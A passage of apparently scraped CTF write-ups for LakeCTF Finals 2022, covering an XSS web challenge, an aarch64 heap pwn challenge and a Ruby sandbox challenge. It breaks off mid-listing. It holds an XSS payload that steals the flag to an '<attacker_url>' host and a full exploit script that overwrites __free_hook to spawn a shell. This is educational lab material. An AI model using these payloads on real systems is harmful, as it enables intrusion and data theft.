page.click(\u0026#34;#login_submit\u0026#34;) print(\u0026#34;Time\u0026#39;s up, destroying challenge!\u0026#34;) await page.goto(url) await page.click(\u0026#34;#login\u0026#34;) await page.type(\u0026#34;#login_username\u0026#34;, \u0026#34;admin\u0026#34;) await page.type(\u0026#34;#login_password\u0026#34;, ADMIN_PASSWORD) await page.click(\u0026#34;#login_submit\u0026#34;) await asyncio.sleep(1) await page.click(\u0026#34;#dashboard_destroy\u0026#34;) # this calls destroy_instance in the main file await browser.close() Within the instance, users can sign up, log in, and create lines of text (I suppose these are the \u0026ldquo;carbon credits\u0026rdquo;?)\n@app.post(\u0026#34;/{instance}/register\u0026#34;) async def register( db=Depends(get_db), username: str = Form(), full_name: str = Form(), email: EmailStr = Form(), password: str = Form(), ): if username in db: raise HTTPException( status_code=status.HTTP_401_UNAUTHORIZED, detail=\u0026#34;Username is already taken\u0026#34;, ) db[\u0026#34;users\u0026#34;][username] = { \u0026#34;username\u0026#34;: username, \u0026#34;full_name\u0026#34;: full_name, \u0026#34;email\u0026#34;: email, \u0026#34;hashed_password\u0026#34;: get_password_hash(password), \u0026#34;disabled\u0026#34;: False, \u0026#34;admin\u0026#34;: False, } # ... @app.post(\u0026#34;/{instance}/lines/add\u0026#34;) async def lines_add( db=Depends(get_db), description: str = Form(), amount: Decimal = Form(), current_user: User = Depends(get_current_active_user), ): add_line( db, Line( description=html.escape(description), amount=amount, creator_username=current_user.username, ), ) The code for displaying the lines:\n@app.get(\u0026#34;/{instance}/lines/display\u0026#34;) async def lines_display( db=Depends(get_db), current_user: User = Depends(get_current_active_user) ): response = \u0026#34;\u0026lt;div\u0026gt;\u0026#34; for line in get_all_lines(db): response += f\u0026#34;\u0026lt;p\u0026gt;{line.amount} | {line.description} | {line.creator_username}\u0026#34; return response Immediately we can see that there\u0026rsquo;s a problem here: though the description is filtered before being stored in the database, the username of the user adding the line is not, and there are no checks done at user creation time to ensure that the username is safe to display. This means that we can create a user with a username that contains HTML, and then add a line with that user. When the admin visits the instance, the username will render as HTML, and we can use this to perform XSS.\nOur goal is to get the flag:\n@app.get(\u0026#34;/{instance}/flag\u0026#34;) async def flag( response: Response, current_user: User = Depends(get_current_active_user) ): response.headers[\u0026#34;Access-Control-Allow-Origin\u0026#34;] = \u0026#34;127.0.0.1\u0026#34; if current_user.admin: return FLAG else: return \u0026#34;EPFL{404_F1ag_n0t_Found}\u0026#34; So not only does the request have to come from the same origin as the server, but the user must be authenticated as an admin. How is user authentication performed? We could look at the rest of the Python server code, but it\u0026rsquo;s much easier to just look at the JavaScript code that\u0026rsquo;s sent to the browser:\nvar access_token = null; $(document).ready(function () { // ... $(\u0026#34;#login_form\u0026#34;).submit(function (e) { e.preventDefault(); $.post( \u0026#34;token\u0026#34;, { username: $(\u0026#34;#login_username\u0026#34;).val(), password: $(\u0026#34;#login_password\u0026#34;).val(), }, function (data, status) { if (status === \u0026#34;success\u0026#34;) { access_token = data.access_token; } $(\u0026#34;#login_screen\u0026#34;).hide(); $(\u0026#34;#dashboard\u0026#34;).show(); $.ajax({ url: \u0026#34;lines/display\u0026#34;, headers: { Authorization: \u0026#34;Bearer \u0026#34; + access_token, }, success: function (data, status) { if (status === \u0026#34;success\u0026#34;) { $(\u0026#34;#dashboard_lines\u0026#34;).html(data); } }, }); } ); }); }); So it sends the username and password to the /token endpoint and stores the received access token in a global variable. Conveniently, the access token is stored in a global variable, so we can access it from our XSS payload easily. We just need to send a request to /flag like so:\nfetch(\u0026#34;flag\u0026#34;, { headers: { \u0026#34;Authorization\u0026#34;: \u0026#34;Bearer \u0026#34; + access_token } }).then(r =\u0026gt; r.text()).then(flag =\u0026gt; do_something(flag)) Solution Our final solve script looks like this. It creates a user with our XSS payload, gets an access token for that user, and adds a new line. When our admin visits the instance, it will trigger the payload, which makes an authenticated request to /flag and then redirects to our server with the response contents in the URL.\nimport requests username = r\u0026#34;\u0026#34;\u0026#34;\u0026lt;script\u0026gt;fetch(\u0026#34;flag\u0026#34;,{headers:{\u0026#34;Authorization\u0026#34;:\u0026#34;Bearer \u0026#34;+access_token}}).then(r=\u0026gt;r.text()).then(flag=\u0026gt;window.location.replace(\u0026#34;https://\u0026lt;attacker_url\u0026gt;/?flag=\u0026#34;+flag))\u0026lt;/script\u0026gt;\u0026#34;\u0026#34;\u0026#34; url = \u0026#34;http://chall.polygl0ts.ch:4100\u0026#34; password = \u0026#34;test\u0026#34; with requests.Session() as s: resp = s.get(url) id = resp.url.split(\u0026#39;/\u0026#39;)[3] NEW_URL = f\u0026#34;{url}/{id}\u0026#34; print(f\u0026#34;Instance: {id}\u0026#34;) resp = s.post(NEW_URL + \u0026#39;/register\u0026#39;, data={ \u0026#39;username\u0026#39;: username, \u0026#39;password\u0026#39;: password, \u0026#39;full_name\u0026#39;: \u0026#39;full_name\u0026#39;, \u0026#39;email\u0026#39;: \u0026#39;email@email.com\u0026#39;, }) print(f\u0026#34;Registering {resp.status_code}: {resp.text}\u0026#34;) resp = s.post(NEW_URL + \u0026#39;/token\u0026#39;, data={ \u0026#39;username\u0026#39;: username, \u0026#39;password\u0026#39;: password, }) print(f\u0026#34;Getting token {resp.status_code}\u0026#34;) access_token = resp.json()[\u0026#39;access_token\u0026#39;] resp = s.post(NEW_URL + \u0026#39;/lines/add\u0026#39;, data={ \u0026#39;description\u0026#39;: \u0026#39;description\u0026#39;, \u0026#39;amount\u0026#39;: 100, }, headers={ \u0026#34;Authorization\u0026#34;: f\u0026#34;Bearer {access_token}\u0026#34;, }) print(f\u0026#34;Upload {resp.status_code}: {resp.text}\u0026#34;) Flag EPFL{C1e4n_h4nd5_l3av3_n0_f1n9erprIn7}\n","permalink":"https://nusgreyhats.org/posts/writeups/lakectf-finals-2022-carboncredit-suisse/","summary":"CarbonCredit Suisse This was a web challenge from the LakeCTF finals held in Lausanne, Switzerland that I solved together with Junhua. This ended up being a fairly straightforward XSS challenge with some additional annoyances to keep people on their toes.\nChallenge Description Schmidt Sàrl don\u0026#39;t think you can break into their web app in under a minute. Can you? http://chall.polygl0ts.ch:4100 Analysis A Docker container was provided with the challenge, containing the source code to the running instance of the webapp.","title":"[LakeCTF Finals 2022] CarbonCredit Suisse"},{"content":"paccheri I played LakeCTF Finals 2022 with my team NUS Greyhats (in Switzerland!). We managed to get first blood on both pwn challenges (i hate french and paccheri). This writeup will be for paccheri since i hate french was solved by 9 out of 10 teams.\nThis challenge was solved the unintended way, which is becoming a usual situation for me.\nRunning checksec, we get:\n[*] \u0026#39;~/ctfs/lakefinals22/paccheri/paccheri\u0026#39; Arch: aarch64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled Hmm, interesting to see that we have a aarch64 challenge. Is this is MacOS / IoT / ARM challenge? Emulating this was going to be painful, but luckily the organizers had already thought of this.\nThere are a few files attached to the challenge, other than the usualy binary + libc. There is the Dockerfile \u0026amp; compose.yml which are usually meant to describe the service configuration. Also a README.md:\n# How to not turn crazy (QEMU PTSD anyone?) 1. `docker compose build` 2. `docker compose up` 3. Connect to the challenge with `nc localhost 3700`, ssh into the arm64 VM with `ssh root@localhost -p 30022` Note: The challenge is located in `/app` in the VM. The VM contains exactly the `paccheri` and `libc.so.6` you\u0026#39;re provided with. The only difference is that in the VM, `/proc/self/maps` is symlinked to `/app/postal_codes` -- we unfortunately cannot ship symlinks ;) Very cool, they already have a setup to emulate aarch64 and even managed to give us a ssh shell.\nAnalysis undefined8 main(void) { char *found; size_t section_start; ulong section_end; char section_name [20000]; long local_8 = __stack_chk_guard; setvbuf(stdin,NULL,2,0); setvbuf(stdout,NULL,2,0); setvbuf(stderr,NULL,2,0); urandom_fd = fopen(\u0026#34;/dev/urandom\u0026#34;,\u0026#34;r\u0026#34;); heap_addr_ref = (ulong *)mmap(NULL,0x1000,3,0x22,0,0); mem_p_1 = heap_addr_ref + 1; ulong* local_4e38 = heap_addr_ref; FILE* postal_codes_fd = fopen(\u0026#34;postal_codes\u0026#34;,\u0026#34;r\u0026#34;); do { __isoc99_fscanf(postal_codes_fd,\u0026#34;%p-%p %2000[^\\n]\u0026#34;,\u0026amp;section_start,\u0026amp;section_end,section_name); if (*heap_addr_ref \u0026lt; section_end) { *heap_addr_ref = section_end; } found = strstr(section_name,\u0026#34;[heap]\u0026#34;); } while (found == NULL); puts(\u0026#34;Welcome to the Swiss post office\u0026#34;); puts(\u0026#34;Our famous privacy policies encrypt (and sign!) the destination of every packet\u0026#34;); puts(\u0026#34;How can we help you?\u0026#34;); main2(); if (local_8 - __stack_chk_guard == 0) { return 0; } // WARNING: Subroutine does not return __stack_chk_fail(\u0026amp;__stack_chk_guard,0,local_8 - __stack_chk_guard,0); } From README.md, there is a symlink between /proc/self/maps and /app/postal_codes. Thus, the above code seems to be reading the memory map entries of the currently running process (given in /proc/self/maps) to parse the max address of the heap section.\nThen main2 is called:\nvoid main2(void) { while (true) { puts(\u0026#34;1. Send a package\u0026#34;); puts(\u0026#34;2. Report a lost package\u0026#34;); puts(\u0026#34;3. List outgoing packages\u0026#34;); puts(\u0026#34;4. Set address of outgoing package\u0026#34;); puts(\u0026#34;5. Check if a package is arrived\u0026#34;); puts(\u0026#34;6. Exit\u0026#34;); puts(\u0026#34;7. Get angry because you don\\\u0026#39;t have an aarch64 machine available\u0026#34;); puts(\u0026#34;8. Complain because this menu is too long\u0026#34;); putchar(10); int opt = read_int(opt); switch(opt) { case 1: send_package(); break; case 2: report_lost_package(); break; case 3: list_packages(); break; case 4: set_address_package(); break; case 5: check_package_arrival(); break; case 6: exit(0); break; case 7: useless(); break; case 8: useless2(); break; default: puts(\u0026#34;Vouz parlez franchoise?\u0026#34;); } } } useless and useless2 print some text and call exit(0), so I\u0026rsquo;m leaving this part out. We have 5 legitimate options excluding exit.\nsend_package void send_package(void) { if (packages_len \u0026lt; 0x14) { package* pkg = (package *)malloc(0x18); long idx = (long)packages_len; packages_len = packages_len + 1; packages[idx] = pkg; char* address = (char *)malloc(0x18); puts(\u0026#34;Please enter your destination address:\u0026#34;); fgets(address,0x18,stdin); pkg-\u0026gt;address = address; fread(\u0026amp;pkg-\u0026gt;urandom_num,1,4,urandom_fd); address = (char *)pointer_auth_tech(print_pkg_arrival,pkg-\u0026gt;urandom_num); pkg-\u0026gt;pointer_auth = address; pkg-\u0026gt;idx = packages_len + -1; } else puts(\u0026#34;Sorry, we are swiss but we can\\\u0026#39;t handle so many packages\u0026#34;); } We can allocate upto 0x14 = 20 packages. I have defined each package as below:\nstruct package { // pointer to 0x18-long malloc\u0026#39;ed char array char[0x18]* address; // 0x00 int idx; // 0x08 int urandom_num // 0x0C void* pointer_auth // 0x10 } // 0x18 bytes long The only input is the 0x18-bytes long package address. There is a very weird calculation in pointer_auth_tech:\nulong pointer_auth_tech(void* fnaddr, int num) { ulong uVar1 = pacga(fnaddr, num); return fnaddr ^ uVar1 \u0026amp; const_FFFF000000000000; } where pacga is a ARM64 instruction related to Pointer Authentication Code. Seems like a function pointer is \u0026lsquo;protected\u0026rsquo; by pointer authentication using a random seed from /dev/urandom.\nThe function pointer is initially set to print_pkg_arrival:\nint print_pkg_arrival(char* arg) { return printf(\u0026#34;The package has arrived to: %s!\\n\u0026#34;,arg); } report_lost_package void report_lost_package(void) { puts(\u0026#34;Which package did you lose?\u0026#34;); int idx = read_int(idx); // BUG: UaF, also no bounds check free(packages[idx]-\u0026gt;address); if ((idx \u0026lt; 0x12) \u0026amp;\u0026amp; (-1 \u0026lt; idx)) { free(packages[idx]); packages[idx] = NULL; } else puts(\u0026#34;You definitely did not.\u0026#34;); } We have a Use-After-Free when we provide an index not lesser than 0x12, which frees the package address at that index but does not remove the package from the packages array. This leaves us with a package with dangling reference to freed memory, which we can use (Use-After-Free).\nFurthermore, the index can be negative. So we can free the address of a supposed package that is before the packages array.\nlist_packages void list_packages(void) { puts(\u0026#34;---\u0026#34;); uint state = 0; for (int i = 0; i \u0026lt; packages_len; i = i + 1) { printf(\u0026#34;Address: %s\u0026#34;,packages[i]-\u0026gt;address); printf(\u0026#34;id: %d\\n\u0026#34;,(ulong)(uint)packages[i]-\u0026gt;idx); void* cb = undo_pacga(packages[i]-\u0026gt;pointer_auth, packages[i]-\u0026gt;urandom_num); printf(\u0026#34;callback: %p\\n\u0026#34;, cb); void* pointer = packages[i]-\u0026gt;pointer_auth; void* pac = pointer_auth_tech( (ulong)packages[i]-\u0026gt;pointer_auth \u0026amp; ~const_FFFF000000000000, packages[i]-\u0026gt;urandom_num); state = some_crc32_thing(state, pointer ^ pac); puts(\u0026#34;---\u0026#34;); } printf(\u0026#34;Error state: %x\\n\u0026#34;, state); } Here we can see that we have an base address leak since the address of the callback is printed out, which is initially set the print_pkg_arrival. There also seems to be some calculation involving the pointer authentication that I thought involved CRC32 calculations due to the use of 0xedb88320.\nuint some_crc32_thing(uint prev_state, ulong arg) { uint n = ~prev_state; for (uint i = 0; (int)i \u0026lt; 8; i = i + 1) { n = n ^ (uint)((long)((long)(0xff \u0026lt;\u0026lt; (ulong)((i \u0026amp; 3) \u0026lt;\u0026lt; 3)) \u0026amp; arg) \u0026gt;\u0026gt; ((ulong)(i \u0026lt;\u0026lt; 3) \u0026amp; 0x3f)); for (uint b = 7; -1 \u0026lt; b; b = b + -1) { n = n \u0026gt;\u0026gt; 1 ^ -(n \u0026amp; 1) \u0026amp; 0xedb88320; } } return ~n; } set_address_package void set_address_package(void) { puts(\u0026#34;Which package do you want to edit?\u0026#34;); // BUG: no bounds check int idx = read_int(idx); puts(\u0026#34;Please enter the new address:\u0026#34;); if (*heap_addr_ref \u0026lt; packages[idx]-\u0026gt;address) { puts(\u0026#34;This address is not in Switzerland!\u0026#34;); exit(0); } int read = fread(packages[idx]-\u0026gt;address,1,0x18,stdin); printf(\u0026#34;read %d bytes\\n\u0026#34;, read); printf(\u0026#34;New address: %s\\n\u0026#34;,packages[idx]-\u0026gt;address); void* cb = undo_pacga(packages[idx]-\u0026gt;pointer_auth, packages[idx]-\u0026gt;urandom_num); printf(\u0026#34;New callback: %p\\n\u0026#34;, cb); } This function from the lack of bounds check as well. Interestingly enough, it prints the callback even though it was never changed (this is for the intended solution).\ncheck_package_arrival void check_package_arrival(void) { puts(\u0026#34;Which package do you want to check?\u0026#34;); int idx = read_int(); void* cb = undo_pacga(packages[idx]-\u0026gt;pointer_auth, packages[idx]-\u0026gt;urandom_num); (cb)(packages[idx]-\u0026gt;address); } This method calls the callback that was set with the address of the package as the argument. Again, same lack of bounds check applies here. Sadly, undo_pacga returns a address only if it was protected by pointer authentication, or it returns 0 (which causes segfault when executed).\nulong undo_pacga(void* pointer, ulong urandom_num) { ulong ret = pointer ^ pointer \u0026amp; const_FFFF000000000000; ulong check = pacga(ret, urandom_num); if ((check \u0026amp; const_FFFF000000000000) != (pointer \u0026amp; const_FFFF000000000000)) { ret = 0; } return ret; } Exploitation We have 3 out-of-bounds vuln which treat parts of the .data as a package*, and one UaF.\nInitially, I was trying to use the UaF to corrupt a package and write my own function pointer there to get it executed (after bypassing PAC). I believe this to be the intended solution by the author.\nHowever, while trying to do this, I realized that there was a easier way to approach the problem.\nArbitrary Write In every binary compiled by GCC, there exists an address in the .data section that points to itself. That is, the value at the address is the address itself.\nThis also happens to be before the packages array:\nIf we provide (0x113008-0x113040) / sizeof(package*) as the index to set_address_package, it will treat this self-loop address as a package*. It will get the address pointer, which is at package-\u0026gt;address = package[0] as the address is the first element of package. This, of course, is the self-loop address again. Then, we can write 0x18 bytes to this address. Note that there is a *heap_addr_ref \u0026lt; package[i]-\u0026gt;address check, which does not get triggered since the heap is after the base of the program.\nThis allows us to gain control over some memory in the .data section. However, just this is enough to get an arbitrary write primitive! We can setup our write to do the following (right side is the \u0026rsquo;effect\u0026rsquo;):\nNow if we treat (0x113010-0x113040) / sizeof(package*) (the pointer after the self-loop) as a package*, it\u0026rsquo;s set up as below:\nSince we are writing to address, we now have arbitrary write using set_address_package when targetting this index. Furthermore, since the self-loop still points to itself afterwards, we can use this arbwrite as many times as we want.\nLibc Leak There is no fancy win function in the binary itself, so we must leak a libc address to get us going.\nSince we have arbitrary write and know the base address, we can overwrite packages[0..3] to a forged package, whose address is pointing to an address we want to leak e.g. printf.got. Running list_packages will then leak out the bytes we want.\nGetting command execution With a libc address and base address known, one would normally overwrite the GOT section to gain command execution, but here it\u0026rsquo;s protected by full RELRO and is not writable.\nWe can try to overwrite __free_hook instead but we are blocked by the *heap_addr_ref check. But of course, since we have arb write, we can just overwrite this as well. Our aim will be to get free called in report_lost, and we provide the index of a package with address set to /bin/sh to get system(\u0026quot;/bin/sh\u0026quot;) executed.\nFinal Script The overwriting of heap_addr_ref is combined with creation of a forged package, but the rest are as above.\nfrom pwn import * #p = remote(\u0026#34;localhost\u0026#34;, \u0026#34;3700\u0026#34;) p = remote(\u0026#34;chall.polygl0ts.ch\u0026#34;, 3700) def send_package(address): p.sendlineafter(\u0026#34;menu is too long\u0026#34;, \u0026#34;1\u0026#34;) p.sendlineafter(\u0026#34;address:\u0026#34;, address) def report_lost(idx): p.sendlineafter(\u0026#34;menu is too long\u0026#34;, \u0026#34;2\u0026#34;) p.sendlineafter(\u0026#34;lose?\u0026#34;, str(idx)) def list_packages(): p.sendlineafter(\u0026#34;menu is too long\u0026#34;, \u0026#34;3\u0026#34;) pkgs = [] while True: if b\u0026#34;Error\u0026#34; in p.recvuntil((\u0026#34;Error\u0026#34;, \u0026#34;Address\u0026#34;)): p.recvuntil(\u0026#34;: \u0026#34;) error_state = int(p.recvline()[:-1], 16) break p.recvuntil(\u0026#34;: \u0026#34;) address = p.recvuntil(\u0026#34;id: \u0026#34;, drop=True) id = p.recvline()[:-1] p.recvuntil(\u0026#34;callback: \u0026#34;) cb = p.recvline()[:-1] if cb == b\u0026#39;(nil)\u0026#39;: cb = 0 else: cb = int(cb, 16) p.recvuntil(\u0026#34;---\u0026#34;) pkgs.append((address, id, cb)) return pkgs, error_state def set_address(idx, address): p.sendlineafter(\u0026#34;menu is too long\u0026#34;, \u0026#34;4\u0026#34;) p.sendlineafter(\u0026#34;edit?\u0026#34;, str(idx)) p.sendafter(\u0026#34;address:\u0026#34;, address) send_package(str(0)) pkgs, _ = list_packages() base = pkgs[0][2] - 0xedc info(f\u0026#34;{ hex(base) = }\u0026#34;) # just create some packages for i in range(1, 7): send_package(b\u0026#34;/bin/sh\\x00\u0026#34;) def arbwrite(where, what): set_address(-(0x113048 - 0x113008)//8, p64(base + 0x13008) + p64(base + 0x13018) + p64(where)) set_address(-(0x113048 - 0x113010)//8, what) libc = ELF(\u0026#34;./libc.so.6\u0026#34;) # Overwrite heap_addr_ref to point to base+0x13030, which contains 0xfffff.... # Also put the address of printf.got here so that we can use it as a forged package. arbwrite(base + 0x13028, p64(base + 0x13030) + p64(0xffffffffffffffff) + p64(base + 0x12f78)) # printf.got @ +0x13038 # Write the address of the forged package as the packages of the first 3 elements in the packages array arbwrite(base + 0x13048, p64(base + 0x13038) * 3) # Leak out libc pkgs, _ = list_packages() leak = u64(pkgs[0][0].ljust(8, b\u0026#39;\\0\u0026#39;)) info(f\u0026#34;{ hex(leak) = }\u0026#34;) libc.address = leak - libc.symbols.printf success(f\u0026#34;{hex(libc.address) = }\u0026#34;) arbwrite(libc.symbols.__free_hook, p64(libc.symbols.system)*3) report_lost(4) # calls free(package[4]-\u0026gt;address), so system(\u0026#34;/bin/sh\u0026#34;) after the __free_hook overwrite p.interactive() ","permalink":"https://nusgreyhats.org/posts/writeups/lakectf-finals-2022-paccheri/","summary":"paccheri I played LakeCTF Finals 2022 with my team NUS Greyhats (in Switzerland!). We managed to get first blood on both pwn challenges (i hate french and paccheri). This writeup will be for paccheri since i hate french was solved by 9 out of 10 teams.\nThis challenge was solved the unintended way, which is becoming a usual situation for me.\nRunning checksec, we get:\n[*] \u0026#39;~/ctfs/lakefinals22/paccheri/paccheri\u0026#39; Arch: aarch64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled Hmm, interesting to see that we have a aarch64 challenge.","title":"[LakeCTF Finals 2022] paccheri"},{"content":"LakeCTF Finals Last weekend was LakeCTF finals. This was my first time participating in a CTF finals overseas and had lots of fun!\nThis is a writeup for the Web: Calc-You-Later challenge which was solved together by Devesh and I from NUS Greyhats.\nThis is an adaptation from the original post here\nChallenge Description Calc-You-Later, alligator. Call /getflag and follow the instructions http://chall.polygl0ts.ch:4600 It also provides a link to the source code of the challenge which is provided here.\nInitial Thoughts The zip file contains a source repository containing the source code of the challenge. The challenge is a simple web application that allows users to perform calculations.\nThe steps below outlined how we approached the challenge.\nDockerfile After that, we looked at the dockerfile of the challenge.\nFROM ruby:3.1.2 COPY src/ /app COPY master.key /app/config/master.key COPY flag secret getflag / RUN chmod 4511 /getflag \u0026amp;\u0026amp; chmod 400 /flag /secret WORKDIR /app ENV RAILS_ENV=production RUN bin/bundle RUN bin/rails db:prepare \u0026amp;\u0026amp; bin/rake assets:precompile RUN chmod -R 755 /app \u0026amp;\u0026amp; chown -R root:root /app RUN useradd rails \u0026amp;\u0026amp; chown -R rails /app/tmp \u0026amp;\u0026amp; chmod -R o+w /app/log \u0026amp;\u0026amp; chown rails /app/db /app/db/production.sqlite3 USER rails CMD [\u0026#34;bin/rails\u0026#34;, \u0026#34;server\u0026#34;, \u0026#34;-b\u0026#34;, \u0026#34;0\u0026#34;, \u0026#34;-e\u0026#34;, \u0026#34;production\u0026#34;] Let us walk through what the dockerfile does.\nUses Ruby 3.1.2 as the base image Copies the source code into the container Copies the master.key file into /app/config/master.key Copies flag, secret and getflag into the root directory Changes the permissions of getflag to 4511. Owner: Read, Execute, Group: Execute, Others: Execute, With recursion and setguid This means that when others execute the code, they will have the temporarily uid of the owner. Change the permissions of flag and secret to 400 Owner: Read Sets the working directory to /app Sent environment to production Ruby compile stuff Add rails user and change permission to allow rails user to access various directories. Run the rails server Another point to note: the dockerfile indicates the presence of the following files which were not included in the zip:\nmaster.key credentials.yml.enc getflag flag secret Directory Structure of the code The directory looks something like this:\n/ ├── tmp ├── app │ ├── tmp │ ├── log │ ├── db │ ├── ... # Other files │ └── config │ ├── credentials.yml.enc | └── master.key ├── getflag ├── flag ├── secret └── ... # Other unrevelent files Setting up the environment As there are many files which were not provided to us during the CTF challenge, we found outselves unable to run the dockerfile directly.\nIn order to test it in our local enironment, we have to either recreate the file or modify the dockerfile.\nFor most of the file we decided to use empty files to replace them. However, for the credentials.yml.enc file, we decided to not use it and remove the dockerfile line that uses it.\nThe revised dockerfile is as follows:\nFROM ruby:3.1.2 COPY src/ /app # COPY master.key /app/config/master.key # Not used COPY flag secret getflag / RUN chmod 4511 /getflag \u0026amp;\u0026amp; chmod 400 /flag /secret WORKDIR /app ENV RAILS_ENV=production RUN bin/bundle # Line added RUN EDITOR=vim bin/rails credentials:edit RUN bin/rails db:prepare \u0026amp;\u0026amp; bin/rake assets:precompile RUN chmod -R 755 /app \u0026amp;\u0026amp; chown -R root:root /app RUN useradd rails \u0026amp;\u0026amp; chown -R rails /app/tmp \u0026amp;\u0026amp; chmod -R o+w /app/log \u0026amp;\u0026amp; chown rails /app/db /app/db/production.sqlite3 USER rails CMD [\u0026#34;bin/rails\u0026#34;, \u0026#34;server\u0026#34;, \u0026#34;-b\u0026#34;, \u0026#34;0\u0026#34;, \u0026#34;-e\u0026#34;, \u0026#34;production\u0026#34;] With the dockerfile below, we can now build the dockerfile and run it locally.\nLooking at the source code After making the dockerfile work, we looked at the source code. The first section which we inspected was the application controllers.\nThere were 2 main controllers which were used by the application.\nUser controller class UserController \u0026lt; ApplicationController def index end def login user = User.find_by(username: params[:username]) if user == nil then user = User.new(username: params[:username], password: params[:password]) user.save puts \u0026#34;Create user #{user.username}\u0026#34; end if user.password == params[:password] then puts \u0026#34;Logged in user #{user.username}\u0026#34; session[:user] = user.username redirect_to controller: :home, action: :index else puts \u0026#34;Failed login for #{user.username}\u0026#34; render :index end end end This controller does the following:\nTakes in the username and password from the user If the user does not exist, create a new user If the password is equal to the one in the database, allow the user to login Otherwise, throw a login error. Home controller class HomeController \u0026lt; ApplicationController def index redirect_to controller: :user, action: :index unless session[:user] @user = User.find_by(username: session[:user]) @results = Result.where(user: @user).order(created_at: :desc).limit(10) end def post redirect_to controller: :user, action: :index unless session[:user] @user = User.find_by(username: session[:user]) CalcJob.set(wait: 1.minutes).perform_later(params[:program], @user) redirect_to action: :index end end The code here is more interesting. The top function shows the homepage of the user and gets the last 10 results of the user. The bottom function takes in the user input and passes it to the CalcJob function.\nHowever, the program waits for 1 minute before the CalcJob function is actually called.\nIn order to make debugging faster for us, we removed the 1 minute timer in the source code.\nAfter going through all of these, the next logical step was to look at the CalcJob function.\nCalcJob Under the Jobs section, we manage to found the CalcJob source code. It performs only 1 job, run the program in SafeRuby and save the result to the database.\nrequire \u0026#34;safe_ruby\u0026#34; class CalcJob \u0026lt; ApplicationJob queue_as :default def perform(program, user) res = SafeRuby.eval(program) print(\u0026#34;Running program\u0026#34;, program) Result.new(result: res.to_s, user: user).save end end The SafeRuby class is a class which is used to run the program in a sandboxed environment. It is a class which is provided by the safe_ruby gem. We then went to the github page of the gem to see how it works.\nFrom the above, we can see that we are able to read all the files except for this which have permission bits set to 400.\n/ ├── tmp ├── app │ ├── tmp │ ├── log │ ├── db │ ├── ... # Other files │ └── config │ ├── credentials.yml.enc | └── master.key ├── getflag # (Executable by us) ├── flag # (Not readable by us) ├── secret # (Not readable by us) └── ... # Other unrevelent files SafeRuby We spent a while looking at how the SafeRuby source code works. It turns out that it writes a ruby file to another location before running it.\nBefore the application actually runs the program, there are some built in functions which the code removes before it actually executes the user defined code.\nTo find out how it actually works, we will have to take a deeper dive at what program it produces when we key in a code of our own.\nThis is the code generated by SafeRuby. It is a ruby file which is written to the /tmp directory. The code is then executed by the ruby command.\nAfter the execution of the code, ruby deletes the tmp file. In order for use to actually get the file, we will have to hit the timeout of 5s to stop the process before the file is actually deleted.\ndef keep_singleton_methods(klass, singleton_methods) klass = Object.const_get(klass) singleton_methods = singleton_methods.map(\u0026amp;:to_sym) undef_methods = (klass.singleton_methods - singleton_methods) undef_methods.each do |method| klass.singleton_class.send(:undef_method, method) end end def keep_methods(klass, methods) klass = Object.const_get(klass) methods = methods.map(\u0026amp;:to_sym) undef_methods = (klass.methods(false) - methods) undef_methods.each do |method| klass.send(:undef_method, method) end end def clean_constants (Object.constants - [:Object, :Module, :Class, :BasicObject, :Kernel, :NilClass, :NIL, :Data, :TrueClass, :TRUE, :FalseClass, :FALSE, :Encoding, :Comparable, :Enumerable, :String, :Symbol, :Exception, :SystemExit, :SignalException, :Interrupt, :StandardError, :TypeError, :ArgumentError, :IndexError, :KeyError, :RangeError, :ScriptError, :SyntaxError, :LoadError, :NotImplementedError, :NameError, :NoMethodError, :RuntimeError, :SecurityError, :NoMemoryError, :EncodingError, :SystemCallError, :Errno, :ZeroDivisionError, :FloatDomainError, :Numeric, :Integer, :Fixnum, :Float, :Bignum, :Array, :Hash, :Struct, :RegexpError, :Regexp, :MatchData, :Marshal, :Range, :IOError, :EOFError, :IO, :STDIN, :STDOUT, :STDERR, :Time, :Random, :Signal, :Proc, :LocalJumpError, :SystemStackError, :Method, :UnboundMethod, :Binding, :Math, :Enumerator, :StopIteration, :RubyVM, :Thread, :TOPLEVEL_BINDING, :ThreadGroup, :Mutex, :ThreadError, :Fiber, :FiberError, :Rational, :Complex, :RUBY_VERSION, :RUBY_RELEASE_DATE, :RUBY_PLATFORM, :RUBY_PATCHLEVEL, :RUBY_REVISION, :RUBY_DESCRIPTION, :RUBY_COPYRIGHT, :RUBY_ENGINE, :TracePoint, :ARGV, :Gem, :RbConfig, :Config, :CROSS_COMPILING, :Date, :ConditionVariable, :Queue, :SizedQueue, :MonitorMixin, :Monitor, :Exception2MessageMapper, :IRB, :RubyToken, :RubyLex, :Readline, :RUBYGEMS_ACTIVATION_MONITOR]).each do |const| Object.send(:remove_const, const) if defined?(const) end end keep_singleton_methods(:Kernel, [\u0026#34;Array\u0026#34;, \u0026#34;binding\u0026#34;, \u0026#34;block_given?\u0026#34;, \u0026#34;catch\u0026#34;, \u0026#34;chomp\u0026#34;, \u0026#34;chomp!\u0026#34;, \u0026#34;chop\u0026#34;, \u0026#34;chop!\u0026#34;, \u0026#34;eval\u0026#34;, \u0026#34;fail\u0026#34;, \u0026#34;Float\u0026#34;, \u0026#34;format\u0026#34;, \u0026#34;global_variables\u0026#34;, \u0026#34;gsub\u0026#34;, \u0026#34;gsub!\u0026#34;, \u0026#34;Integer\u0026#34;, \u0026#34;iterator?\u0026#34;, \u0026#34;lambda\u0026#34;, \u0026#34;local_variables\u0026#34;, \u0026#34;loop\u0026#34;, \u0026#34;method_missing\u0026#34;, \u0026#34;proc\u0026#34;, \u0026#34;raise\u0026#34;, \u0026#34;scan\u0026#34;, \u0026#34;split\u0026#34;, \u0026#34;sprintf\u0026#34;, \u0026#34;String\u0026#34;, \u0026#34;sub\u0026#34;, \u0026#34;sub!\u0026#34;, \u0026#34;throw\u0026#34;]) keep_singleton_methods(:Symbol, [\u0026#34;all_symbols\u0026#34;]) keep_singleton_methods(:String, [\u0026#34;new\u0026#34;]) keep_singleton_methods(:IO, [\u0026#34;new\u0026#34;, \u0026#34;foreach\u0026#34;, \u0026#34;open\u0026#34;]) keep_methods(:Kernel, [\u0026#34;==\u0026#34;, \u0026#34;ray\u0026#34;, \u0026#34;nding\u0026#34;, \u0026#34;ock_given?\u0026#34;, \u0026#34;tch\u0026#34;, \u0026#34;omp\u0026#34;, \u0026#34;omp!\u0026#34;, \u0026#34;op\u0026#34;, \u0026#34;op!\u0026#34;, \u0026#34;ass\u0026#34;, \u0026#34;clone\u0026#34;, 